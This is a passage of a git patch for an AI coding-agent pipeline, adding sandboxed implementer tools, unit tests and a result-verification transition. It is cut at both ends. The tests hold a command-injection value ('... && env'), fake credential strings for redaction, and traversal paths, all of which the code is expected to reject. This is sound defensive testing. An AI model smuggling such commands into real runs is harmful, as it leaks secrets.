commitSha: "a".repeat(40), + fixtureMode: true, + paths: ["AGENTS.md", "src/AGENTS.md", "src/example.ts"], + truncated: false, + }; + } + return listRepositoryFiles(await ctx.getSandbox(), patterns); + }, +}); diff --git a/agent/subagents/implementer/tools/load_skill.ts b/agent/subagents/implementer/tools/load_skill.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/load_skill.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/read_file.ts b/agent/subagents/implementer/tools/read_file.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/read_file.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/read_implementation_context.ts b/agent/subagents/implementer/tools/read_implementation_context.ts new file mode 100644 index 0000000..fd7e4a8 --- /dev/null +++ b/agent/subagents/implementer/tools/read_implementation_context.ts @@ -0,0 +1,65 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { computeImplementationDigest } from "../../../implementation-agent"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { loadImplementationHandoff } from "../lib/context"; + +export default defineTool({ + description: "Load and verify the approved plan, exact test patch, red evidence, and fixtures.", + inputSchema: z.object({ runId: z.string().uuid() }), + async execute({ runId }, ctx) { + const handoff = await loadImplementationHandoff(runId); + const revision = handoff.plan.repositoryRevision; + if (!revision) throw new Error("Implementation requires a pinned repository revision."); + const binding = { + planId: handoff.plan.identity.id, + planSha256: handoff.plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(handoff.testPlan), + testPatchSha256: handoff.testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(handoff.testPlan.fixtures), + repositoryFullName: handoff.plan.issue.repositoryFullName, + commitSha: revision.commitSha, + }; + const sandbox = await ctx.getSandbox(); + if (!resolveImplementerFixtureMode().enabled) { + const repoUrl = `https://github.com/${handoff.plan.issue.repositoryFullName}.git`; + await sandbox.setNetworkPolicy({ + allow: ["github.com", "objects.githubusercontent.com", "registry.npmjs.org"], + }); + try { + const result = await sandbox.run({ + command: [ + `git clone --filter=blob:none ${JSON.stringify(repoUrl)} repo`, + "cd repo", + `git checkout --detach ${revision.commitSha}`, + "command -v bun", + "bun install --frozen-lockfile --ignore-scripts", + 'test -z "$(git status --porcelain)"', + ].join(" && "), + abortSignal: AbortSignal.timeout(120_000), + }); + if (result.exitCode !== 0) throw new Error("Commit-pinned checkout failed."); + } finally { + await sandbox.setNetworkPolicy("deny-all"); + } + } + await sandbox.run({ command: "mkdir -p .loopworks" }); + await sandbox.writeTextFile({ + path: ".loopworks/repository-commit", + content: revision.commitSha, + }); + await sandbox.writeTextFile({ + path: ".loopworks/implementation-context.json", + content: JSON.stringify({ binding, runId }), + }); + return { + acceptanceCriteria: handoff.testPlan.acceptanceCriteria, + binding, + fixtures: handoff.testPlan.fixtures, + runId, + tests: handoff.testPlan.tests, + }; + }, +}); diff --git a/agent/subagents/implementer/tools/read_repository_files.ts b/agent/subagents/implementer/tools/read_repository_files.ts new file mode 100644 index 0000000..0556739 --- /dev/null +++ b/agent/subagents/implementer/tools/read_repository_files.ts @@ -0,0 +1,43 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; +import { + readRepositoryFiles, + repositoryReadOutputSchema, +} from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +const request = z.union([ + z.string().min(1), + z.object({ + path: z.string().min(1), + startLine: z.number().int().positive().default(1), + endLine: z.number().int().positive().optional(), + }), +]); + +export default defineTool({ + description: "Read bounded line ranges from regular files at the approved pinned Git commit.", + inputSchema: z.object({ files: z.array(request).min(1).max(20) }), + outputSchema: repositoryReadOutputSchema, + async execute({ files }, ctx) { + const normalized = files.map((entry) => + typeof entry === "string" ? { path: entry, startLine: 1 } : entry, + ); + if (resolveImplementerFixtureMode().enabled) { + return { + commitSha: "a".repeat(40), + fixtureMode: true, + files: normalized.map((entry) => ({ + path: entry.path, + startLine: entry.startLine, + requestedEndLine: entry.endLine ?? entry.startLine + 399, + returnedEndLine: entry.startLine, + content: "export const implementationReady = false;", + truncated: false, + })), + truncated: false, + }; + } + return readRepositoryFiles(await ctx.getSandbox(), normalized); + }, +}); diff --git a/agent/subagents/implementer/tools/run_aggregate_validation.ts b/agent/subagents/implementer/tools/run_aggregate_validation.ts new file mode 100644 index 0000000..5dce21d --- /dev/null +++ b/agent/subagents/implementer/tools/run_aggregate_validation.ts @@ -0,0 +1,98 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { loadImplementationHandoff } from "../lib/context"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { + createImplementationExecutionReceipt, + redactImplementationOutput, + sha256, +} from "../lib/tool-policy"; + +const digest = z.string().regex(/^[a-f0-9]{64}$/); + +export default defineTool({ + description: "Run exact aggregate validation and return a signed, redacted passing receipt.", + inputSchema: z.object({ + runId: z.string().uuid(), + command: z.literal("bun run validate"), + planSha256: digest, + testPlanSha256: digest, + testPatchSha256: digest, + productionPatchSha256: digest, + }), + async execute(input, ctx) { + const handoff = await loadImplementationHandoff(input.runId); + if ( + input.planSha256 !== handoff.plan.identity.sha256 || + input.testPlanSha256 !== computeTestPlanDigest(handoff.testPlan) || + input.testPatchSha256 !== handoff.testPlan.patch.sha256 + ) { + throw new Error("Aggregate validation digests do not match the durable handoff."); + } + const sandbox = await ctx.getSandbox(); + const marker = await sandbox.readTextFile({ path: ".loopworks/production-patch.json" }); + const markerSha = marker ? (JSON.parse(marker) as { sha256?: string }).sha256 : undefined; + if (markerSha !== input.productionPatchSha256) { + throw new Error("Aggregate validation is not bound to the current production patch."); + } + const span = startLoopworksSpan("loopworks.implementation.validation", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + const startedAt = Date.now(); + try { + const result = resolveImplementerFixtureMode().enabled + ? { exitCode: 0, stdout: "validate passed", stderr: "" } + : await sandbox.run({ + command: "cd repo && bun run validate", + abortSignal: AbortSignal.timeout(900_000), + }); + const redacted = redactImplementationOutput(`${result.stdout}\n${result.stderr}`); + if (result.exitCode !== 0 || /(?:error: script|tests? failed|build failed)/i.test(redacted)) { + throw new Error("Aggregate implementation validation failed."); + } + const outputSha256 = sha256(redacted); + const uri = `.loopworks/green-evidence/${outputSha256}.log`; + await sandbox.run({ command: "mkdir -p .loopworks/green-evidence" }); + await sandbox.writeTextFile({ path: uri, content: redacted }); + const executionReceipt = createImplementationExecutionReceipt( + { + kind: "aggregate", + command: input.command, + exitCode: result.exitCode, + outcome: "pass", + outputSha256, + planSha256: input.planSha256, + testPlanSha256: input.testPlanSha256, + testPatchSha256: input.testPatchSha256, + productionPatchSha256: input.productionPatchSha256, + testPaths: [], + }, + process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET ?? "", + ); + span.setStatus({ code: SpanStatusCode.OK }); + return { + command: input.command, + durationMs: Math.max(0, Date.now() - startedAt), + executionReceipt, + exitCode: 0 as const, + outcome: "pass" as const, + outputReference: { + uri: `artifact://sandbox/${sandbox.id}/${uri}`, + sha256: outputSha256, + byteCount: Buffer.byteLength(redacted), + redacted: true as const, + }, + }; + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/implementer/tools/run_green_test_suite.ts b/agent/subagents/implementer/tools/run_green_test_suite.ts new file mode 100644 index 0000000..249cfa0 --- /dev/null +++ b/agent/subagents/implementer/tools/run_green_test_suite.ts @@ -0,0 +1,106 @@ +import { SpanStatusCode } from "@opentelemetry/api"; +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { startLoopworksSpan } from "@/lib/observability/trace-context"; +import { computeTestPlanDigest } from "../../../test-writing-agent"; +import { loadImplementationHandoff } from "../lib/context"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { + assertExactFocusedCommand, + classifyGreenRun, + createImplementationExecutionReceipt, + redactImplementationOutput, + sha256, +} from "../lib/tool-policy"; + +const digest = z.string().regex(/^[a-f0-9]{64}$/); + +export default defineTool({ + description: "Run one exact planned test and return signed, redacted green evidence.", + inputSchema: z.object({ + runId: z.string().uuid(), + testId: z.string().min(1), + command: z.string().min(1), + planSha256: digest, + testPlanSha256: digest, + testPatchSha256: digest, + productionPatchSha256: digest, + }), + async execute(input, ctx) { + const handoff = await loadImplementationHandoff(input.runId); + const plannedTest = handoff.testPlan.tests.find(({ id }) => id === input.testId); + if (!plannedTest) throw new Error("Focused test is not present in the durable test plan."); + if ( + input.planSha256 !== handoff.plan.identity.sha256 || + input.testPlanSha256 !== computeTestPlanDigest(handoff.testPlan) || + input.testPatchSha256 !== handoff.testPlan.patch.sha256 + ) { + throw new Error("Focused test digests do not match the durable handoff."); + } + assertExactFocusedCommand(input.command, plannedTest.command, plannedTest.path); + const sandbox = await ctx.getSandbox(); + const marker = await sandbox.readTextFile({ path: ".loopworks/production-patch.json" }); + const markerSha = marker ? (JSON.parse(marker) as { sha256?: string }).sha256 : undefined; + if (markerSha !== input.productionPatchSha256) { + throw new Error("Focused test is not bound to the current production patch."); + } + const span = startLoopworksSpan("loopworks.implementation.test.green", { + attributes: { "loopworks.agent": "implementer", "loopworks.stage": "development" }, + }); + const startedAt = Date.now(); + try { + const result = resolveImplementerFixtureMode().enabled + ? { exitCode: 0, stdout: `PASS ${plannedTest.path}`, stderr: "" } + : await sandbox.run({ + command: `cd repo && ${input.command}`, + abortSignal: AbortSignal.timeout(120_000), + }); + const redacted = redactImplementationOutput(`${result.stdout}\n${result.stderr}`); + const outcome = classifyGreenRun({ + exitCode: result.exitCode, + output: redacted, + testPath: plannedTest.path, + }); + if (outcome !== "pass") throw new Error("Focused implementation test did not pass safely."); + const outputSha256 = sha256(redacted); + const uri = `.loopworks/green-evidence/${outputSha256}.log`; + await sandbox.run({ command: "mkdir -p .loopworks/green-evidence" }); + await sandbox.writeTextFile({ path: uri, content: redacted }); + const executionReceipt = createImplementationExecutionReceipt( + { + kind: "focused", + command: input.command, + exitCode: result.exitCode, + outcome, + outputSha256, + planSha256: input.planSha256, + testPlanSha256: input.testPlanSha256, + testPatchSha256: input.testPatchSha256, + productionPatchSha256: input.productionPatchSha256, + testPaths: [plannedTest.path], + }, + process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET ?? "", + ); + span.setStatus({ code: SpanStatusCode.OK }); + return { + durationMs: Math.max(0, Date.now() - startedAt), + executionReceipt, + exitCode: 0 as const, + outcome: "pass" as const, + outputReference: { + uri: `artifact://sandbox/${sandbox.id}/${uri}`, + sha256: outputSha256, + byteCount: Buffer.byteLength(redacted), + redacted: true as const, + }, + }; + } catch (error) { + span.recordException(error instanceof Error ? error : String(error)); + span.setStatus({ code: SpanStatusCode.ERROR }); + throw error; + } finally { + span.end(); + } + }, +}); diff --git a/agent/subagents/implementer/tools/search_repository.ts b/agent/subagents/implementer/tools/search_repository.ts new file mode 100644 index 0000000..071c6f5 --- /dev/null +++ b/agent/subagents/implementer/tools/search_repository.ts @@ -0,0 +1,28 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; +import { + repositorySearchOutputSchema, + searchRepository, +} from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; + +export default defineTool({ + description: "Search regular files from the approved pinned Git commit with bounded output.", + inputSchema: z.object({ + pattern: z.string().min(1).max(256), + paths: z.array(z.string()).min(1).max(5), + }), + outputSchema: repositorySearchOutputSchema, + async execute(input, ctx) { + if (resolveImplementerFixtureMode().enabled) { + return { + commitSha: "a".repeat(40), + fixtureMode: true, + content: "src/example.ts:1:export const implementationReady = false;", + matchCount: 1, + truncated: false, + }; + } + return searchRepository(await ctx.getSandbox(), input); + }, +}); diff --git a/agent/subagents/implementer/tools/todo.ts b/agent/subagents/implementer/tools/todo.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/todo.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/web_fetch.ts b/agent/subagents/implementer/tools/web_fetch.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/web_fetch.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/web_search.ts b/agent/subagents/implementer/tools/web_search.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/web_search.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/write_file.ts b/agent/subagents/implementer/tools/write_file.ts new file mode 100644 index 0000000..a908e44 --- /dev/null +++ b/agent/subagents/implementer/tools/write_file.ts @@ -0,0 +1,2 @@ +import { disableTool } from "eve/tools"; +export default disableTool(); diff --git a/agent/subagents/implementer/tools/write_production_files.ts b/agent/subagents/implementer/tools/write_production_files.ts new file mode 100644 index 0000000..4eb83ff --- /dev/null +++ b/agent/subagents/implementer/tools/write_production_files.ts @@ -0,0 +1,115 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { maxImplementationPatchBytes } from "../../../implementation-agent"; +import { buildGitTreeEntryCommand } from "../../../lib/repository-inspection"; +import { readPinnedRepositoryCommit } from "../../../lib/repository-inspection-runtime"; +import { resolveImplementerFixtureMode } from "../lib/fixture-mode"; +import { + assertAllowedProductionFiles, + assertProductionWriteNotClaimed, + sha256, +} from "../lib/tool-policy"; + +const inputSchema = z.object({ + files: z.array(z.object({ path: z.string().min(1), content: z.string().max(512 * 1024) })).min(1), + testPatchSha256: z.string().regex(/^[a-f0-9]{64}$/), +}); + +function symlinkGuard(path: string): string { + const segments = path.split("/").slice(0, -1); + return segments + .map( + (_, index) => `test ! -L ${JSON.stringify(`repo/${segments.slice(0, index + 1).join("/")}`)}`, + ) + .join(" && "); +} + +export default defineTool({ + description: + "Write complete production files and return the exact bounded production-only patch.", + inputSchema, + async execute(input, ctx) { + assertAllowedProductionFiles(input.files); + const sandbox = await ctx.getSandbox(); + const existingClaim = await sandbox.readTextFile({ + path: ".loopworks/production-write-claimed", + }); + assertProductionWriteNotClaimed(existingClaim); + const appliedMarker = await sandbox.readTextFile({ path: ".loopworks/test-patch-applied" }); + const applied = appliedMarker + ? (JSON.parse(appliedMarker) as { paths?: string[]; sha256?: string }) + : {}; + if (applied.sha256 !== input.testPatchSha256 || !applied.paths) { + throw new Error("Exact test patch must be applied before production writes."); + } + const fixtureMode = resolveImplementerFixtureMode().enabled; + const pinned = fixtureMode ? "a".repeat(40) : await readPinnedRepositoryCommit(sandbox); + if (!fixtureMode) { + const changed = await sandbox.run({ command: "cd repo && git diff --name-only" }); + const actualPaths = changed.stdout.split(/\r?\n/).filter(Boolean).sort(); + if (JSON.stringify(actualPaths) !== JSON.stringify([...applied.paths].sort())) { + throw new Error("Working tree contains changes outside the exact test patch."); + } + } + await sandbox.writeTextFile({ + path: ".loopworks/production-write-claimed", + content: input.testPatchSha256, + }); + const tracked = new Map(); + for (const file of input.files) { + if (!fixtureMode) { + const tree = await sandbox.run({ command: buildGitTreeEntryCommand(pinned, file.path) }); + tracked.set(file.path, tree.exitCode === 0 && tree.stdout.trim().length > 0); + const guard = symlinkGuard(file.path) || "true"; + const directory = `repo/${file.path}`.slice(0, `repo/${file.path}`.lastIndexOf("/")); + const prepared = await sandbox.run({ + command: `${guard} && mkdir -p ${JSON.stringify(directory)} && ${guard}`, + }); + if (prepared.exitCode !== 0) throw new Error(`Unsafe symlink for ${file.path}.`); + await sandbox.writeTextFile({ path: `repo/${file.path}`, content: file.content }); + } + } + const diffs = fixtureMode + ? input.files.map((file) => { + const lines = file.content.split("\n"); + return [ + `diff --git a/${file.path} b/${file.path}`, + "new file mode 100644", + "--- /dev/null", + `+++ b/${file.path}`, + `@@ -0,0 +1,${lines.length} @@`, + ...lines.map((line) => `+${line}`), + ].join("\n"); + }) + : await Promise.all( + input.files.map(async ({ path }) => { + const command = tracked.get(path) + ? `cd repo && git diff --no-ext-diff --no-color ${pinned} -- ${JSON.stringify(path)}` + : `cd repo && git diff --no-index --no-color -- /dev/null ${JSON.stringify(path)}`; + const result = await sandbox.run({ command, abortSignal: AbortSignal.timeout(10_000) }); + if (tracked.get(path) ? result.exitCode !== 0 : ![0, 1].includes(result.exitCode)) { + throw new Error("Production patch could not be generated safely."); + } + return result.stdout; + }), + ); + const content = diffs.join("\n"); + const byteCount = Buffer.byteLength(content); + if (!content.trim() || byteCount > maxImplementationPatchBytes) { + throw new Error("Production patch is empty or exceeds 512 KiB."); + } + const patch = { + format: "unified-diff" as const, + content, + sha256: sha256(content), + byteCount, + paths: input.files.map(({ path }) => path), + }; + await sandbox.writeTextFile({ + path: ".loopworks/production-patch.json", + content: JSON.stringify({ sha256: patch.sha256, paths: patch.paths }), + }); + return { patch }; + }, +}); diff --git a/tests/unit/agent/implementation-tools.test.ts b/tests/unit/agent/implementation-tools.test.ts new file mode 100644 index 0000000..79b70ef --- /dev/null +++ b/tests/unit/agent/implementation-tools.test.ts @@ -0,0 +1,133 @@ +/** @vitest-environment node */ +import { resolveImplementerFixtureMode } from "@agent/subagents/implementer/lib/fixture-mode"; +import { createImplementationFixtureHandoff } from "@agent/implementation-fixture"; +import { + assertAllowedProductionFiles, + assertProductionWriteNotClaimed, + assertExactFocusedCommand, + classifyGreenRun, + createImplementationExecutionReceipt, + redactImplementationOutput, + verifyImplementationExecutionReceipt, +} from "@agent/subagents/implementer/lib/tool-policy"; + +describe("implementer fixture mode", () => { + it("is explicit, local-only, and fail-closed in production", () => { + expect(resolveImplementerFixtureMode({})).toEqual({ enabled: false, reason: "not_requested" }); + expect( + resolveImplementerFixtureMode({ + LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE: "true", + NODE_ENV: "development", + }), + ).toEqual({ enabled: true, reason: "explicit_non_production_fixture" }); + expect( + resolveImplementerFixtureMode({ + LOOPWORKS_EVE_IMPLEMENTER_FIXTURE_MODE: "true", + VERCEL_ENV: "production", + }), + ).toEqual({ enabled: false, reason: "production_runtime_blocked" }); + }); +}); + +describe("implementer write and execution policy", () => { + it("allows production files while rejecting test, generated, and traversal paths", () => { + expect(() => assertAllowedProductionFiles([{ path: "src/lib/runtime.ts" }])).not.toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "tests/unit/runtime.test.ts" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "../src/runtime.ts" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "node_modules/pkg/index.js" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "package.json" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: "bun.lock" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: ".github/workflows/ci.yml" }])).toThrow(); + expect(() => assertAllowedProductionFiles([{ path: ".env.local" }])).toThrow(); + }); + + it("permits exactly one production write per implementation session", () => { + expect(() => assertProductionWriteNotClaimed(null)).not.toThrow(); + expect(() => assertProductionWriteNotClaimed("already-claimed")).toThrow( + "only once per implementation session", + ); + }); + + it("runs only the exact planned focused command and classifies real green output", () => { + expect(() => + assertExactFocusedCommand( + "bun run test -- tests/unit/runtime.test.ts", + "bun run test -- tests/unit/runtime.test.ts", + "tests/unit/runtime.test.ts", + ), + ).not.toThrow(); + expect(() => + assertExactFocusedCommand( + "bun run test -- tests/unit/runtime.test.ts && env", + "bun run test -- tests/unit/runtime.test.ts", + "tests/unit/runtime.test.ts", + ), + ).toThrow(); + expect( + classifyGreenRun({ + exitCode: 0, + output: "PASS tests/unit/runtime.test.ts", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("pass"); + expect( + classifyGreenRun({ + exitCode: 0, + output: "No test files found", + testPath: "tests/unit/runtime.test.ts", + }), + ).toBe("invalid"); + }); + + it("redacts output and signs every artifact digest into the execution receipt", () => { + const payload = { + kind: "focused" as const, + command: "bun run test -- tests/unit/runtime.test.ts", + exitCode: 0, + outcome: "pass" as const, + outputSha256: "a".repeat(64), + planSha256: "b".repeat(64), + testPlanSha256: "c".repeat(64), + testPatchSha256: "d".repeat(64), + productionPatchSha256: "e".repeat(64), + testPaths: ["tests/unit/runtime.test.ts"], + }; + const receipt = createImplementationExecutionReceipt(payload, "secret"); + expect(verifyImplementationExecutionReceipt(payload, receipt, "secret")).toBe(true); + expect( + verifyImplementationExecutionReceipt( + { ...payload, productionPatchSha256: "f".repeat(64) }, + receipt, + "secret", + ), + ).toBe(false); + + const redacted = redactImplementationOutput( + [ + "authorization: Bearer abc API_TOKEN=secret ghp_abcdefghijklmnopqrstuvwxyz", + "AKIAABCDEFGHIJKLMNOP", + "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMifQ.signature", + "-----BEGIN PRIVATE KEY-----\nprivate-material\n-----END PRIVATE KEY-----", + ].join("\n"), + ); + expect(redacted).not.toContain("abc"); + expect(redacted).not.toContain("secret"); + expect(redacted).not.toContain("ghp_"); + expect(redacted).not.toContain("AKIA"); + expect(redacted).not.toContain("eyJhbGci"); + expect(redacted).not.toContain("private-material"); + }); + + it("reuses the test-writing fixture records as the implementation handoff", () => { + const handoff = createImplementationFixtureHandoff(); + expect(handoff.testPlan.fixtures).toEqual([ + { + id: "approved-plan", + kind: "fixture", + description: "Approved-plan fixture authored by the test-writing stage.", + data: { approved: true }, + }, + ]); + expect(handoff.testPlan.tests[0]?.fixtureIds).toEqual(["approved-plan"]); + }); +}); From a79c605ee6745fa1bb4e75054d9ca3a3795f9e56 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:07:38 -0700 Subject: [PATCH 03/10] feat(loops): verify and persist implementation results applyDevelopmentLoopImplementationResult revalidates the approved plan, test-plan/red-evidence binding, and signed green receipts inside one transaction, claims the development step against concurrent replays, stores the result on the patch artifact, and advances the run to validation. Idempotent replays return the persisted outcome. Co-Authored-By: Claude Fable 5 --- src/lib/loops/development-run-transitions.ts | 328 ++++++++++++ src/lib/loops/development-run.ts | 4 +- .../loops/implementation-transition.test.ts | 471 ++++++++++++++++++ 3 files changed, 802 insertions(+), 1 deletion(-) create mode 100644 tests/unit/loops/implementation-transition.test.ts diff --git a/src/lib/loops/development-run-transitions.ts b/src/lib/loops/development-run-transitions.ts index a319cad..c72d77c 100644 --- a/src/lib/loops/development-run-transitions.ts +++ b/src/lib/loops/development-run-transitions.ts @@ -5,9 +5,18 @@ import { pinnedPlanningAgentOutputSchema, planningAgentOutputSchema, } from "@agent/planning-agent"; +import { + computeImplementationDigest, + type ImplementationResult, + implementationResultSchema, +} from "@agent/implementation-agent"; +import { verifyImplementationExecutionReceipt } from "@agent/subagents/implementer/lib/tool-policy"; import { verifyTestExecutionReceipt } from "@agent/subagents/test-writer/lib/tool-policy"; import { computeTestPlanDigest, + redTestEvidenceSchema, + testPlanArtifactSchema, + testWriterModelLabel, type TestWritingAgentOutput, testWritingAgentOutputSchema, } from "@agent/test-writing-agent"; @@ -76,6 +85,24 @@ export type ApplyDevelopmentLoopTestWritingResultInput = { runId: string; }; +export type ImplementationTransitionResult = { + idempotent?: boolean; + runId: string; + stage: "development"; + status: "advanced"; + stepId: string; + traceId?: string; +}; + +export type ApplyDevelopmentLoopImplementationResultInput = { + database: DevelopmentLoopTransitionDatabase; + logger?: LoopworksLogger; + occurredAt?: Date; + output: ImplementationResult; + receiptSecret?: string; + runId: string; +}; + export type RecordDevelopmentLoopPlanArtifactInput = { database: DevelopmentLoopTransitionDatabase; occurredAt?: Date; @@ -535,6 +562,307 @@ export async function applyDevelopmentLoopTestWritingResult( } } +export async function applyDevelopmentLoopImplementationResult( + input: ApplyDevelopmentLoopImplementationResultInput, +): Promise { + const occurredAt = input.occurredAt ?? new Date(); + const startedAt = Date.now(); + const output = implementationResultSchema.parse(input.output); + const span = startLoopworksSpan("loopworks.implementation.transition", { + attributes: { + "loopworks.agent": "implementer", + "loopworks.run_id": input.runId, + "loopworks.stage": "development", + "loopworks.test_count": output.greenEvidence.length, + }, + }); + + try { + const result = await input.database.transaction(async (tx) => { + const [run] = await tx.select().from(loopRuns).where(eq(loopRuns.id, input.runId)).limit(1); + if (!run) throw new DevelopmentLoopTransitionError(`Run ${input.runId} was not found.`); + + const steps = await tx.select().from(runSteps).where(eq(runSteps.runId, input.runId)); + const step = steps.find(({ stage }) => stage === "development"); + const testWritingStep = steps.find(({ stage }) => stage === "test-writing"); + if (!step || !testWritingStep) { + throw new DevelopmentLoopTransitionError( + "Implementation requires development and test-writing steps.", + ); + } + if (step.status === "succeeded" && step.completedAt) { + const [persistedArtifact] = await tx + .select() + .from(artifacts) + .where( + and( + eq(artifacts.runId, input.runId), + eq(artifacts.stepId, step.id), + eq(artifacts.type, "patch"), + ), + ); + if (persistedArtifact?.sha256 !== computeImplementationDigest(output)) { + throw new DevelopmentLoopTransitionError( + "Idempotent implementation replay does not match the persisted result.", + ); + } + return { + idempotent: true, + runId: input.runId, + stage: "development", + status: "advanced", + stepId: step.id, + ...((step.traceId ?? run.traceId) + ? { traceId: step.traceId ?? run.traceId ?? undefined } + : {}), + }; + } + if (run.currentStage !== "development" || testWritingStep.status !== "succeeded") { + throw new DevelopmentLoopTransitionError( + "Implementation requires completed test writing and the development stage.", + ); + } + + const planRows = await tx.select().from(agentPlans).where(eq(agentPlans.runId, input.runId)); + if (planRows.length !== 1) { + throw new DevelopmentLoopTransitionError("Implementation requires exactly one plan."); + } + const planRow = planRows[0]; + const plan = planningAgentOutputSchema.parse(planRow?.plan); + const planApprovals = await tx + .select() + .from(approvals) + .where(and(eq(approvals.runId, input.runId), eq(approvals.scope, "plan-review"))); + const approval = planApprovals[0]; + if ( + planRow?.status !== "approved" || + planApprovals.length !== 1 || + approval?.status !== "approved" || + approval.metadata?.planId !== planRow.id || + approval.metadata?.planSha256 !== plan.identity.sha256 || + !plan.repositoryRevision || + computePlanningArtifactDigest(plan) !== plan.identity.sha256 + ) { + throw new DevelopmentLoopTransitionError("Implementation plan identity is invalid."); + } + + const upstreamArtifacts = await tx + .select() + .from(artifacts) + .where(and(eq(artifacts.runId, input.runId), eq(artifacts.stepId, testWritingStep.id))); + const testPlanRows = upstreamArtifacts.filter(({ type }) => type === "test_plan"); + const redRows = upstreamArtifacts.filter(({ type }) => type === "validation_report"); + if (testPlanRows.length !== 1 || redRows.length !== 1) { + throw new DevelopmentLoopTransitionError( + "Implementation requires exactly one test plan and red-evidence artifact.", + ); + } + const testPlanRow = testPlanRows[0]; + const redRow = redRows[0]; + const testPlanParsed = testPlanArtifactSchema.safeParse(testPlanRow?.metadata?.testPlan); + const redParsed = redTestEvidenceSchema.safeParse(redRow?.metadata?.redTestEvidence); + if (!testPlanRow || !redRow || !testPlanParsed.success || !redParsed.success) { + throw new DevelopmentLoopTransitionError( + "Implementation requires valid persisted test-plan and red-evidence artifacts.", + ); + } + const testPlan = testPlanParsed.data; + const redEvidence = redParsed.data; + const compositeHandoff = testWritingAgentOutputSchema.safeParse({ + model: testWriterModelLabel, + testPlan, + redEvidence, + }); + if (!compositeHandoff.success) { + throw new DevelopmentLoopTransitionError( + "Persisted red evidence does not match the persisted test plan.", + ); + } + const testPlanSha256 = computeTestPlanDigest(testPlan); + if ( + testPlanRow.sha256 !== testPlanSha256 || + redRow.sha256 !== computeTestPlanDigest(redEvidence) || + redEvidence.testPlanSha256 !== testPlanSha256 || + redEvidence.planId !== plan.identity.id || + redEvidence.planSha256 !== plan.identity.sha256 || + testPlan.plan.id !== plan.identity.id || + testPlan.plan.sha256 !== plan.identity.sha256 || + testPlan.plan.repositoryFullName !== plan.issue.repositoryFullName || + testPlan.plan.commitSha !== plan.repositoryRevision.commitSha + ) { + throw new DevelopmentLoopTransitionError("Implementation input artifacts are stale."); + } + + const expectedBinding = { + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256, + testPatchSha256: testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(testPlan.fixtures), + repositoryFullName: plan.issue.repositoryFullName, + commitSha: plan.repositoryRevision.commitSha, + }; + if (JSON.stringify(output.binding) !== JSON.stringify(expectedBinding)) { + throw new DevelopmentLoopTransitionError( + "Implementation result is not bound to the persisted handoff.", + ); + } + if (output.greenEvidence.length !== testPlan.tests.length) { + throw new DevelopmentLoopTransitionError( + "Implementation requires one green result for every planned test.", + ); + } + + const receiptSecret = input.receiptSecret ?? process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET; + if (!receiptSecret) { + throw new DevelopmentLoopTransitionError( + "Implementation execution receipt verification is not configured.", + ); + } + for (const plannedTest of testPlan.tests) { + const evidence = output.greenEvidence.find(({ testId }) => testId === plannedTest.id); + if ( + !evidence || + evidence.command !== plannedTest.command || + evidence.testPath !== plannedTest.path || + JSON.stringify(evidence.acceptanceCriterionIds) !== + JSON.stringify(plannedTest.acceptanceCriterionIds) || + !verifyImplementationExecutionReceipt( + { + kind: "focused", + command: evidence.command, + exitCode: evidence.exitCode, + outcome: evidence.outcome, + outputSha256: evidence.outputReference.sha256, + planSha256: output.binding.planSha256, + testPlanSha256: output.binding.testPlanSha256, + testPatchSha256: output.binding.testPatchSha256, + productionPatchSha256: output.patch.sha256, + testPaths: [evidence.testPath], + }, + 